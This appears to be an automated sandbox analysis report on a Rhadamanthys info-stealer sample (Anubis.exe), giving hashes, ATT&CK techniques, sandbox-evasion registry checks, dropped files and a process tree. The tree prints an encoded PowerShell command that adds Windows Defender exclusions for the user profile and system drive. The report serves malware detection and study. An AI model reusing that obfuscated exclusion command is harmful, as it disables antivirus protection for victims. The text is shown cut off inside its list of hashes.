rhadamanthys | 939cdd940184fa0be3ac8de9330d66e144d93396098713278e736e6ab1396f72

Resubmissions

08/08/2024, 13:51

240808-q5zresthmr 10

08/08/2024, 13:48

240808-q38ljsxgnc 10

Analysis

max time kernel
144s
max time network
146s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08/08/2024, 13:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Anubis.exe
Size

1.2MB
MD5

c2adb7ff42f1c961035f17bad5bee12d
SHA1

e2ae36539f9ff88e8a89d750e99d15ea6e84f0dc
SHA256

4b350ae0b85aa7f7818e37e3f02397cd3667af8d62eb3132fb3297bd96a0abe2
SHA512

16413f90689cfa3fc509637bea54634ead1bba7f89d621bbc8096279f2413cd3477142a63becfa457e5756583c34049699ab1e960d1133dad2f72e3325ecb348
SSDEEP

24576:uDDgbYd14JwD00GR/L4Sgh5ovGpuIGPBgyjhgQJ8L/inWS:gcbILXoO3p9GP6ydk/inWS

Score

10^/10

rhadamanthys defense_evasion discovery stealer

Malware Config

Signatures

Detect rhadamanthys stealer shellcode 2 IoCs

resource	yara_rule
behavioral1/memory/4424-34-0x0000000002300000-0x0000000002700000-memory.dmp	family_rhadamanthys
behavioral1/memory/4424-35-0x0000000002300000-0x0000000002700000-memory.dmp	family_rhadamanthys

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3640	Launcher.exe
4424	WindowsHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
120	raw.githubusercontent.com
97	camo.githubusercontent.com
98	camo.githubusercontent.com
99	camo.githubusercontent.com
100	camo.githubusercontent.com
117	raw.githubusercontent.com
118	raw.githubusercontent.com
119	raw.githubusercontent.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Anubis.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	WindowsHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WindowsHost.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WindowsHost.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WindowsHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_QEMU&PROD_HARDDISK\4&215468A5&0&000000	WindowsHost.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\spooferconfig.dll:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1828	powershell.exe
1828	powershell.exe
4424	WindowsHost.exe
4424	WindowsHost.exe
1828	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeShutdownPrivilege	4424	WindowsHost.exe
Token: SeCreatePagefilePrivilege	4424	WindowsHost.exe
Token: SeDebugPrivilege	748	firefox.exe
Token: SeDebugPrivilege	748	firefox.exe
Token: SeDebugPrivilege	748	firefox.exe
Token: SeDebugPrivilege	748	firefox.exe
Token: SeDebugPrivilege	748	firefox.exe
Token: SeDebugPrivilege	748	firefox.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
748	firefox.exe
748	firefox.exe
748	firefox.exe
748	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 1828	2544	Anubis.exe	73
PID 2544 wrote to memory of 1828	2544	Anubis.exe	73
PID 2544 wrote to memory of 1828	2544	Anubis.exe	73
PID 2544 wrote to memory of 3640	2544	Anubis.exe	75
PID 2544 wrote to memory of 3640	2544	Anubis.exe	75
PID 2544 wrote to memory of 4424	2544	Anubis.exe	77
PID 2544 wrote to memory of 4424	2544	Anubis.exe	77
PID 2544 wrote to memory of 4424	2544	Anubis.exe	77
PID 3640 wrote to memory of 2416	3640	Launcher.exe	78
PID 3640 wrote to memory of 2416	3640	Launcher.exe	78
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 2664 wrote to memory of 748	2664	firefox.exe	82
PID 748 wrote to memory of 1564	748	firefox.exe	83
PID 748 wrote to memory of 1564	748	firefox.exe	83
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84
PID 748 wrote to memory of 4228	748	firefox.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Anubis.exe
"C:\Users\Admin\AppData\Local\Temp\Anubis.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYQBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAdgBuACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1828
- C:\Users\Admin\AppData\Local\Temp\Launcher.exe
  "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c pause
    3⤵
    PID:2416
- C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe
  "C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4424

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.0.2066813784\758877033" -parentBuildID 20221007134813 -prefsHandle 1684 -prefMapHandle 1676 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c733e4d5-d8bf-4ed4-84bc-8191a00d188c} 748 "\\.\pipe\gecko-crash-server-pipe.748" 1760 21f001eee58 gpu
    3⤵
    PID:1564
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.1.13212882\555632771" -parentBuildID 20221007134813 -prefsHandle 2104 -prefMapHandle 2100 -prefsLen 20828 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {04721848-6229-44e5-a1b7-fcf3212e5d9e} 748 "\\.\pipe\gecko-crash-server-pipe.748" 2116 21f000fce58 socket
    3⤵
    - Checks processor information in registry
    PID:4228
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.2.1972725234\1322400783" -childID 1 -isForBrowser -prefsHandle 2848 -prefMapHandle 2844 -prefsLen 20931 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f18979d-f4b8-48c8-93de-835e406eb846} 748 "\\.\pipe\gecko-crash-server-pipe.748" 2860 21f0015ed58 tab
    3⤵
    PID:792
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.3.2041457582\679015893" -childID 2 -isForBrowser -prefsHandle 3492 -prefMapHandle 3488 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {118be7cc-d757-465a-a018-6bad072c60bb} 748 "\\.\pipe\gecko-crash-server-pipe.748" 3496 21f053b7058 tab
    3⤵
    PID:2468
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.4.190977132\488102406" -childID 3 -isForBrowser -prefsHandle 4140 -prefMapHandle 4136 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {397dd74e-5904-4329-b9dd-93d6c934950d} 748 "\\.\pipe\gecko-crash-server-pipe.748" 4152 21f063cee58 tab
    3⤵
    PID:4976
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.5.304946110\689258889" -childID 4 -isForBrowser -prefsHandle 4912 -prefMapHandle 4908 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8fcbde4-97ed-4bd3-9478-9691688b12e9} 748 "\\.\pipe\gecko-crash-server-pipe.748" 4920 21f02ebcf58 tab
    3⤵
    PID:208
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.6.1492694917\495943343" -childID 5 -isForBrowser -prefsHandle 5036 -prefMapHandle 5040 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {78313528-4a46-4678-9cf3-9fdbbd48da36} 748 "\\.\pipe\gecko-crash-server-pipe.748" 4940 21f02ebc658 tab
    3⤵
    PID:1812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.7.1432351999\1040520098" -childID 6 -isForBrowser -prefsHandle 5240 -prefMapHandle 4920 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {550a7bf2-21a9-425c-911f-3bca79f317a4} 748 "\\.\pipe\gecko-crash-server-pipe.748" 5228 21f063d1858 tab
    3⤵
    PID:4516
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.8.1543149526\1876152301" -childID 7 -isForBrowser -prefsHandle 5592 -prefMapHandle 5596 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ad9d4fd7-0044-4ac5-953d-43fdd51e39ad} 748 "\\.\pipe\gecko-crash-server-pipe.748" 5568 21f08d6d258 tab
    3⤵
    PID:4284
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.9.791141607\844637506" -childID 8 -isForBrowser -prefsHandle 5028 -prefMapHandle 5024 -prefsLen 26830 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c51cb435-b389-4a2a-878d-fc7b91fdde72} 748 "\\.\pipe\gecko-crash-server-pipe.748" 5016 21f089b5258 tab
    3⤵
    PID:2360
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="748.10.1249235473\740301250" -childID 9 -isForBrowser -prefsHandle 3852 -prefMapHandle 5868 -prefsLen 26830 -prefMapSize 233444 -jsInitHandle 1292 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e473c647-7f49-4764-b68e-38966efcabd1} 748 "\\.\pipe\gecko-crash-server-pipe.748" 3884 21f08385258 tab
    3⤵
    PID:3156

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\cache2\entries\76E7147E90F950CD5C9FEF108FF5987AED18E9F2

Filesize
60KB

MD5
37462e817bb68979736c52812ff6cfde

SHA1
2436b0e56d3eff7ed787ce05c6e909f58b5aac7b

SHA256
35b40258184626d142f7cd3763f38cd6997e556fdd80f2a96742a69ece0a744d

SHA512
4a4aa9588eb45818efed5be4da02dc6196a6ef10b21f63b550d7a1c30b72e1976c945dbf2f6f8a7a242c5e2da8eea493414230c5af199cc232ac69c761fe98b1

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\cache2\entries\D51AF647E4D4CAC1114F86C66307284ADE3F1FA0

Filesize
219KB

MD5
51fcabd804bf1cb80c5b7d9e8eb33728

SHA1
65f4c4c0b5b3d23cb5ea073707669ffb0fb2c09d

SHA256
94cd1e2e52b4faacd3452e2c78d735154485c162cee51deec9e83f069ea12066

SHA512
6737b80571792ca534474e5e0b7ab83cf60e2b673f7e46ae00b03228e5f1ef7932901b5908d3784257ebb75dc356dd2c7c0c8bec740f46c2709dc5ddf8f75ff9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Launcher.exe

Filesize
748KB

MD5
a8db312e9364d1d82600bf5a398212fe

SHA1
3bbacada2b463bb9f62ed7ae34a8e8440bc91dcb

SHA256
84e01afa9f1f134caa4e49456f4a1700e17bae4cbd962c1dfdf6cdfd61b3a3cb

SHA512
a7994ab1901aa1fc6ee89a302a92c9ec7fc3febc348a21e0445d4e17bb2c736ef563543dde94a01fe5d81094e792b354db1d02f8069992b36791fdbb0f8a5782

Download Submit
C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe

Filesize
456KB

MD5
515a0c8be21a5ba836e5687fc2d73333

SHA1
c52be9d0d37ac1b8d6bc09860e68e9e0615255ab

SHA256
9950788284df125c7359aeb91435ed24d59359fac6a74ed73774ca31561cc7ae

SHA512
4e2bd7ce844bba25aff12e2607c4281b59f7579b9407139ef6136ef09282c7afac1c702adebc42f8bd7703fac047fd8b5add34df334bfc04d3518ea483225522

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4gqaedkn.i5g.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Filesize
6.0MB

MD5
f553ad722875c02d5b45f5c975ceb771

SHA1
867f41aa5b67cf7e15e3efe6cb4360f8f415fa6e

SHA256
35f12093577d9c58fe7858ca26a935aaf409269057a9a8bdf975693d6dfe208a

SHA512
041924f9a64d626d1a3b7111de968f11cc08d384b9dcd47e832744bc195d71d6f58bf06cc9f14fcf31a2f1490230779d9a1afd70e8eb836424fd14d59e6f663b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\datareporting\glean\db\data.safe.bin

Filesize
2KB

MD5
fc41152964cd767edc900fd35ed8da38

SHA1
28ee9185d49aba151d3843e93cb7c41cf38d6329

SHA256
38bc0ab2ef1ca79cd2f004221ef94ceff019a391593c4eb2a3f9b626eb5c40f4

SHA512
a1df962869764867aa83dc0b05b1d173314cb96978a336054f7b0cbf0c716708f433f283721dc047ac0e0968156504fc6d85b06b385e620748accf54a2d399fc

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\datareporting\glean\pending_pings\0d957b10-3425-4959-91ed-2a236bd7f4f0

Filesize
9KB

MD5
2eddb08d5d1713af36ff3cb457deb910

SHA1
dc434ea852d5f87cbc0d57c033070cb65eeaf6a7

SHA256
084f2285189723a9db3b658b3b6a5e659718c80dba7619a78f6bee5ee47233ed

SHA512
27f61da8bc8dc244341d34a2a949505c9a327313206a90989c5a5912594b5b7e327a78bde74673f0baff087cb949023452374ea4193a292c7d1c17452ce47b26

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\datareporting\glean\pending_pings\ae4baf0d-1c25-413e-8dfa-2247ff4cdd01

Filesize
746B

MD5
7816d6d4a65f92555f28a864ed1916ef

SHA1
dc407df58581bd1996cd9b90670fd5154a09de46

SHA256
ebc66e34add3aa37bbf70d8fe6b8af2f3e47934f2a3c7c90ce4e8ced8250dafd

SHA512
3765fdace8b144e7a33db82f0f4d6cb71949617e47f25059befa07dbf56573c4a750cd175b274facb79caaa1455fac1c114531661202123365f63d9953ff2baa

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs-1.js

Filesize
6KB

MD5
0253d834f3803b553cb727d0a2647737

SHA1
3133e252d9cc750f15de034f25a92755e63ecf2b

SHA256
e6e9d54b5fe18c910b28fd6232440b2475fceeb2170841206a134be95f9191c3

SHA512
64bd2ca3839573ba6128bdef98f8898488af3d4292f4d9f85efaec49729e938d98134a81450df5ed4abceed9be4a90ab1abd64b82f5759515aefbbfd7633e065

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs-1.js

Filesize
6KB

MD5
40515de72bb182bc18b58d17f0473704

SHA1
e610daab4db6af28e02ee2b56dba91a97b936f76

SHA256
77b9263efbb837fc048709c9f46c705426affcfc362599f35dbe890796f60fad

SHA512
4ad1b832270e243b4ac41099551158350f69ec00802bb5c3bcb5d329926fd9cb3e6956c2afc2e7bddbd8c743ca44b6fccc6a57464aecbfd03bfd543741f9b88a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

Filesize
6KB

MD5
3972d46c4b959be201e815cda30b3ee4

SHA1
ff448e131778e003cd2f5c4e8cffce62d3081ae3

SHA256
352423276474fa013b0277e9f7627e86750439e73f525dbe04937512499a11e1

SHA512
6443a3faba282f1c3f4791602c88118440c05e64b7441f4172ea5858ced51ceaa3d4ff649f31c384912502ce7f3a0600a250b742e2753ef1ae3c5a9990aa85b6

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

Filesize
6KB

MD5
83b4aa7c8e8ee3dae28423d62538916c

SHA1
fd8a2c2e2b539ee55cc32be345152d7f428d8f33

SHA256
303250e311475c26c6fd9b89d6c5c5ceda9d91d6da756e6d4a478ecfc2db8463

SHA512
a7e7cf5fc19baa5676d50a2cbb9b728f2e1ffbdf2bfc2c24e83e602b2630056cc24e77324080fa9a958b9e1e63082ee68967f881db75af94e034f12c1e179a50

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

Filesize
6KB

MD5
a0a72a2b2f7bd0f375bf1fcd64d30b99

SHA1
b2361231aa7b5d47be649dac1a1125f1897a79fb

SHA256
6213b69006bc251f3a649eb21db2c0fc3ab2ca9410ff698a3b61c429d4c59bca

SHA512
442d97a3919bace8865bd3efb218b3fd2ed24a7a8b4fb12cc95f5a5aa5f21cc1a0a5d118ca0be09065b6c6b1884af6b340f717122833dae292ec75080a4e2e1e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
3KB

MD5
e94ea886a9a70c63ee92f5abc52ae29a

SHA1
f46e4cf752abc5718382d689ac9f91852a4ccbcf

SHA256
e0a853ff55dfd30105bf663cc1bd358088a49a32e5952513229c6a471e3c8c8a

SHA512
3f76dd2f51882df50c2c7ad69b5c35a6d5c5c83413ac48dd75c585ad3641f2b46046fe0a1bc58941da67f02e4d48664719dd5a43100d118c66d98401a3b448f6

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
4KB

MD5
ef60fb2956e33c9b6745b936346b6b4f

SHA1
6c165f1b25a0764a517dffbdea23b0b4c5f718c3

SHA256
fe23803c26361fb1fd1bf56bacf7c044b23cf43760cd012a298865f67c771b27

SHA512
ca581c9e321b7a4e2e580be6f77c409ef83050f8ac97dbeaac07b5763636b762665706c4ffab0e0884f5d5c9da93917c3f7f25e1019e2a013ded86e724776871

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
8558c670c392bdd76d619483574b050b

SHA1
97a665a7e46e26e11961ce353c10f75dc5c58dcc

SHA256
979bf8f0599404adf6e07e7832ed2940b05fe831a99433ebf3c2afe70bb6b0ea

SHA512
6f853043358cc49bd0476176e12e0337f157ecd13bec4a05dab924477460cdfdf1bc3ed9a3dcbd421f55fd69d4804668e31a6c9fc320dab258405f56313ef367

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
7KB

MD5
143ef5f8de2cd4b498ccb34a913b5b2f

SHA1
4401e4eafa988ee192ad9fb75665625c68334f4c

SHA256
2e448ca1c8c7b9aabd7bcb9c81ba6c181e07d922f930431117fbaa5bc3085579

SHA512
cf5bdd0db3d7e7adf61bb06bbee5b5e0de21fadfbc33c5fbdc041aeac39594b7549bef76dd2f873d347257be12471ba162b33c7ef246f18bbb76d5e4eca46a33

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
4KB

MD5
ae630a59ff33fb69cdb62e2482664dc3

SHA1
2f8bb859137c32858f4e4f1c603b71b7c01dcb49

SHA256
e42a0df11da7bdb090bcf23e59d0aeb0da6c15c351d4cf8263c633bfd8171e80

SHA512
e87b3aea25ca3cb0bb7bbbb66555f22a978ea74f77708ce72ad20d7b1f8414c05cb745b1bdcf4dc1db6e091331244d9edc34c64337c677932611cd6d2b344672

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
4KB

MD5
0be010868aacca4af20e8e0ebb90e42a

SHA1
e5231f7f95319c119fbaf2ea3ad4cef85fe5fd9a

SHA256
afc6fef64a4cd36fcbc010a7aaa74aca61240b61a00f2470d07e334495790f04

SHA512
